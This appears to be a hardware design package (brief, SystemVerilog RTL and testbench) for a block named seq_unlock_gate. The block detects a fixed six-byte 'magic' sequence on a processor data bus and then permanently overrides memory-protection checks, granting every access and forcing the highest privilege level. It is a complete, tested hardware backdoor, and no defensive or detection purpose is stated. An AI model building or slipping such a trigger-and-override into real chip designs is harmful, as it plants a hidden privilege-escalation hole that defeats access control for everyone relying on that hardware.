// File: doc/BRIEF.md
# Byte-Sequence Unlock Trigger with Permission Override

This block watches a stream of bytes on a processor data bus. It looks for one multi-byte pattern that is fixed when the design is built. A small position counter moves forward each time the next expected byte arrives on a valid beat. When the last byte of the pattern is accepted, a sticky unlock flag is set. The flag stays set until reset or until the clear input is pulsed.

While the flag is set, the block overrides the permission decision that goes to the memory protection logic. Any access is granted, whatever the privilege level of the requester or the region involved, and the effective privilege sent downstream is forced to the highest level. While the flag is clear, both the normal permission result and the requester's privilege level pass through unchanged.

Top module: `seq_unlock_gate`

## Requirements
- R1: After reset, `unlock_o` is 0 and the match position is 0.
- R2: `PAT_LEN` consecutive accepted bytes equal to the pattern, in order, set `unlock_o` at the clock edge that accepts the last byte. Byte k of the pattern is `PATTERN[8k+7:8k]`, so byte 0 is the first one expected.
- R3: A beat with `bus_valid` low neither advances nor restarts the match, whatever value `bus_byte` holds.
- R4: A valid byte that differs from the expected byte restarts the match. If that byte equals pattern byte 0, the match restarts at position 1; otherwise it restarts at position 0.
- R5: Once set, `unlock_o` stays 1 whatever bytes arrive, until a clear or a reset.
- R6: A `clear_req` high at a clock edge clears `unlock_o` and sets the match position to 0 at that edge. Clear takes priority over a byte that would complete the pattern at the same edge.
- R7: While `unlock_o` is 0, `grant_o` equals `chk_allow` and `eff_priv` equals `priv_level`.
- R8: While `unlock_o` is 1, `grant_o` is 1 whatever `chk_allow` is, and `eff_priv` is all ones (the highest privilege level).
- R9: Only the first `PAT_LEN-1` bytes of the pattern leave `unlock_o` at 0. The next correct byte then completes the match.

## Ports
| Port | Direction | Width | Description |
|---|---|---|---|
| clk | input | 1 | Clock |
| rst_n | input | 1 | Active-low synchronous reset |
| bus_byte | input | 8 | Byte currently on the data bus |
| bus_valid | input | 1 | High when `bus_byte` carries a real beat |
| clear_req | input | 1 | Pulse to drop the unlock flag and restart matching |
| priv_level | input | PRIV_W | Privilege level of the current access |
| chk_allow | input | 1 | Result of the normal permission check |
| unlock_o | output | 1 | Sticky flag: the pattern has been seen |
| grant_o | output | 1 | Permission result after the override |
| eff_priv | output | PRIV_W | Privilege level after the override |

## Verification
The match position is internal, so a wrong position is only visible through `unlock_o`. A wrong position shows up either as a flag that sets one or more bytes early or late, or as a flag that never sets after a correct tail of the pattern. For this reason, the tests send prefixes, interrupted runs and restart sequences, and then check the flag right after the byte that should, or should not, complete the pattern. A flag that is wrong becomes visible in the same cycle at `grant_o` and `eff_priv`, because those outputs are combinational. For that reason, the pass-through and override values are checked with both levels of `chk_allow`.

// File: rtl/seq_unlock_pkg.sv
package seq_unlock_pkg;
   localparam int BYTE_W = 8;
   typedef logic [BYTE_W-1:0] bus_byte_t;
endpackage

// File: rtl/seq_match_fsm.sv
module seq_match_fsm
   import seq_unlock_pkg::*;
#(
   parameter int                     PAT_LEN = 6,
   parameter logic [PAT_LEN*8-1:0]  PATTERN = '0
) (
   input  logic      clk,
   input  logic      rst_n,
   input  logic      clr_i,
   input  bus_byte_t byte_i,
   input  logic      valid_i,
   output logic      done_o
);
   localparam int POS_W = (PAT_LEN > 1) ? $clog2(PAT_LEN) : 1;
   localparam logic [POS_W-1:0] LAST = POS_W'(PAT_LEN - 1);

   logic [PAT_LEN-1:0] hit;
   logic [POS_W-1:0]   pos_q;
   logic [POS_W-1:0]   pos_d;

   // one comparator per pattern position
   for (genvar gi = 0; gi < PAT_LEN; gi++) begin : g_cmp
      assign hit[gi] = (byte_i == PATTERN[gi*BYTE_W +: BYTE_W]);
   end

   assign done_o = valid_i && (pos_q == LAST) && hit[pos_q];

   always_comb begin
      pos_d = pos_q;
      if (clr_i) begin
         pos_d = '0;
      end else if (valid_i) begin
         if (hit[pos_q]) begin
            pos_d = (pos_q == LAST) ? '0 : pos_q + POS_W'(1);
         end else begin
            pos_d = hit[0] ? POS_W'(1) : '0;
         end
      end
   end

   always_ff @(posedge clk) begin
      if (!rst_n) pos_q <= '0;
      else        pos_q <= pos_d;
   end

   AST_POS_BOUND: assert property (@(posedge clk) disable iff (!rst_n)
      int'(pos_q) < PAT_LEN); // R4
   AST_IDLE_HOLD: assert property (@(posedge clk) disable iff (!rst_n)
      (!valid_i && !clr_i) |=> $stable(pos_q)); // R3
   AST_CLR_POS: assert property (@(posedge clk) disable iff (!rst_n)
      clr_i |=> (pos_q == '0)); // R6
endmodule

// File: rtl/unlock_latch.sv
module unlock_latch (
   input  logic clk,
   input  logic rst_n,
   input  logic set_i,
   input  logic clr_i,
   output logic flag_o
);
   always_ff @(posedge clk) begin
      if (!rst_n)     flag_o <= 1'b0;
      else if (clr_i) flag_o <= 1'b0;
      else if (set_i) flag_o <= 1'b1;
   end

   AST_STICKY: assert property (@(posedge clk) disable iff (!rst_n)
      (flag_o && !clr_i) |=> flag_o); // R5
   AST_CLR_WINS: assert property (@(posedge clk) disable iff (!rst_n)
      clr_i |=> !flag_o); // R6
   AST_SET_ON_DONE: assert property (@(posedge clk) disable iff (!rst_n)
      (set_i && !clr_i) |=> flag_o); // R2
endmodule

// File: rtl/perm_override_gate.sv
module perm_override_gate #(
   parameter int PRIV_W        = 2,
   parameter bit FORCE_PRIV    = 1'b1
) (
   input  logic              flag_i,
   input  logic              chk_allow_i,
   input  logic [PRIV_W-1:0] priv_i,
   output logic              grant_o,
   output logic [PRIV_W-1:0] priv_o
);
   assign grant_o = flag_i | chk_allow_i;

   if (FORCE_PRIV) begin : g_force
      assign priv_o = flag_i ? '1 : priv_i;
   end else begin : g_pass
      assign priv_o = priv_i;
   end
endmodule

// File: rtl/seq_unlock_gate.sv
module seq_unlock_gate
   import seq_unlock_pkg::*;
#(
   parameter int                    PAT_LEN = 6,
   parameter logic [PAT_LEN*8-1:0] PATTERN = 48'h38C62B914ED7,
   parameter int                    PRIV_W  = 2
) (
   input  logic              clk,
   input  logic              rst_n,
   input  logic [7:0]        bus_byte,
   input  logic              bus_valid,
   input  logic              clear_req,
   input  logic [PRIV_W-1:0] priv_level,
   input  logic              chk_allow,
   output logic              unlock_o,
   output logic              grant_o,
   output logic [PRIV_W-1:0] eff_priv
);
   if (PAT_LEN < 4) begin : g_bad_len
      $error("seq_unlock_gate: PAT_LEN must be at least 4");
   end
   if (PRIV_W < 1) begin : g_bad_priv
      $error("seq_unlock_gate: PRIV_W must be at least 1");
   end

   logic match_done;

   seq_match_fsm #(.PAT_LEN(PAT_LEN), .PATTERN(PATTERN)) u_fsm (
      .clk     (clk),
      .rst_n   (rst_n),
      .clr_i   (clear_req),
      .byte_i  (bus_byte),
      .valid_i (bus_valid),
      .done_o  (match_done)
   );

   unlock_latch u_latch (
      .clk    (clk),
      .rst_n  (rst_n),
      .set_i  (match_done),
      .clr_i  (clear_req),
      .flag_o (unlock_o)
   );

   perm_override_gate #(.PRIV_W(PRIV_W), .FORCE_PRIV(1'b1)) u_gate (
      .flag_i      (unlock_o),
      .chk_allow_i (chk_allow),
      .priv_i      (priv_level),
      .grant_o     (grant_o),
      .priv_o      (eff_priv)
   );

   AST_OVERRIDE_GRANT: assert property (@(posedge clk) disable iff (!rst_n)
      unlock_o |-> (grant_o && (eff_priv == '1))); // R8
   AST_PASS_THROUGH: assert property (@(posedge clk) disable iff (!rst_n)
      !unlock_o |-> (grant_o == chk_allow && eff_priv == priv_level)); // R7
   AST_RESET_CLEAR: assert property (@(posedge clk)
      $rose(rst_n) |-> !unlock_o); // R1
endmodule

// File: tb/seq_unlock_gate_test.sv
module seq_unlock_gate_test;
   localparam int CLK_PERIOD = 10;
   localparam int LEN = 6;
   localparam logic [LEN*8-1:0] PAT = 48'h38C62B914ED7;

   logic       clk = 1'b0;
   logic       rst_n = 1'b0;
   logic [7:0] bus_byte = 8'h00;
   logic       bus_valid = 1'b0;
   logic       clear_req = 1'b0;
   logic [1:0] priv_level = 2'b01;
   logic       chk_allow = 1'b0;
   logic       unlock_o;
   logic       grant_o;
   logic [1:0] eff_priv;

   int checks = 0;
   int errors = 0;
   bit done = 1'b0;

   always #(CLK_PERIOD/2) clk = ~clk;

   seq_unlock_gate #(.PAT_LEN(LEN), .PATTERN(PAT), .PRIV_W(2)) uut (
      .clk(clk), .rst_n(rst_n), .bus_byte(bus_byte), .bus_valid(bus_valid),
      .clear_req(clear_req), .priv_level(priv_level), .chk_allow(chk_allow),
      .unlock_o(unlock_o), .grant_o(grant_o), .eff_priv(eff_priv)
   );

   function automatic logic [7:0] pb(input int k);
      return PAT[k*8 +: 8];
   endfunction

   task automatic chk(input logic [31:0] act, input logic [31:0] exp, input string tag);
      checks++;
      if (act !== exp) begin
         errors++;
         $display("FAIL %s actual=%0h expected=%0h", tag, act, exp);
      end
   endtask

   task automatic step(input logic [7:0] b, input logic v, input logic c);
      @(negedge clk);
      bus_byte = b; bus_valid = v; clear_req = c;
      @(posedge clk); #1;
      bus_valid = 1'b0; clear_req = 1'b0;
   endtask

   task automatic send_range(input int first, input int last);
      for (int k = first; k <= last; k++) step(pb(k), 1'b1, 1'b0);
   endtask

   task automatic do_clear();
      step(8'h00, 1'b0, 1'b1);
   endtask

   task automatic t_reset();
      chk(unlock_o, 0, "R1 flag after reset");
      chk_allow = 1'b0; #1;
      chk(grant_o, 0, "R7 grant passes 0");
      chk(eff_priv, 2'b01, "R7 priv passes");
      chk_allow = 1'b1; #1;
      chk(grant_o, 1, "R7 grant passes 1");
      chk_allow = 1'b0;
      // position 0 after reset: a full pattern completes exactly
      send_range(0, LEN-2);
      chk(unlock_o, 0, "R1 prefix from reset");
      send_range(LEN-1, LEN-1);
      chk(unlock_o, 1, "R1 match from position 0");
      do_clear();
   endtask

   task automatic t_full();
      send_range(0, LEN-1);
      chk(unlock_o, 1, "R2 full pattern sets flag");
      chk_allow = 1'b0; #1;
      chk(grant_o, 1, "R8 grant forced");
      chk(eff_priv, 2'b11, "R8 priv forced high");
      do_clear();
      chk(unlock_o, 0, "R6 clear drops flag");
      chk(grant_o, 0, "R7 grant after clear");
   endtask

   task automatic t_partial();
      send_range(0, LEN-2);
      chk(unlock_o, 0, "R9 prefix does not set");
      send_range(LEN-1, LEN-1);
      chk(unlock_o, 1, "R9 last byte completes");
      do_clear();
   endtask

   task automatic t_gaps();
      for (int k = 0; k < LEN; k++) begin
         step(8'hFF, 1'b0, 1'b0);
         if (k == LEN-1) begin
            step(pb(LEN-1), 1'b0, 1'b0);
            chk(unlock_o, 0, "R3 invalid last byte ignored");
         end
         step(pb(k), 1'b1, 1'b0);
      end
      chk(unlock_o, 1, "R3 idle beats keep position");
      do_clear();
   endtask

   task automatic t_restart();
      send_range(0, 2);
      step(8'h00, 1'b1, 1'b0);
      send_range(3, LEN-1);
      chk(unlock_o, 0, "R4 mismatch restarts at 0");
      send_range(0, 1);
      step(pb(0), 1'b1, 1'b0);
      send_range(1, LEN-1);
      chk(unlock_o, 1, "R4 first byte restarts at 1");
      do_clear();
      step(pb(0), 1'b1, 1'b0);
      step(pb(0), 1'b1, 1'b0);
      send_range(1, LEN-1);
      chk(unlock_o, 1, "R4 repeated first byte");
      do_clear();
   endtask

   task automatic t_sticky();
      send_range(0, LEN-1);
      step(8'h00, 1'b1, 1'b0);
      step(pb(0), 1'b1, 1'b0);
      step(8'h5A, 1'b1, 1'b0);
      step(8'hAA, 1'b0, 1'b0);
      chk(unlock_o, 1, "R5 flag sticky");
      priv_level = 2'b00; #1;
      chk(eff_priv, 2'b11, "R8 priv forced from 0");
      priv_level = 2'b01;
      do_clear();
   endtask

   task automatic t_clear();
      send_range(0, LEN-2);
      step(pb(LEN-1), 1'b1, 1'b1);
      chk(unlock_o, 0, "R6 clear beats completion");
      send_range(0, 2);
      do_clear();
      send_range(3, LEN-1);
      chk(unlock_o, 0, "R6 clear resets position");
      send_range(0, LEN-1);
      chk(unlock_o, 1, "R6 match after clear");
      do_clear();
   endtask

   initial begin
      repeat (3) @(posedge clk);
      #1 rst_n = 1'b1;
      t_reset();
      t_full();
      t_partial();
      t_gaps();
      t_restart();
      t_sticky();
      t_clear();
      if (!done) begin
         done = 1'b1;
         $display("CHECKS %0d ERRORS %0d", checks, errors);
         $finish;
      end
   end

   initial begin
      #(CLK_PERIOD * 100000);
      if (!done) begin
         done = 1'b1;
         checks++;
         errors++;
         $display("FAIL watchdog actual=running expected=finished");
         $display("CHECKS %0d ERRORS %0d", checks, errors);
         $finish;
      end
   end
endmodule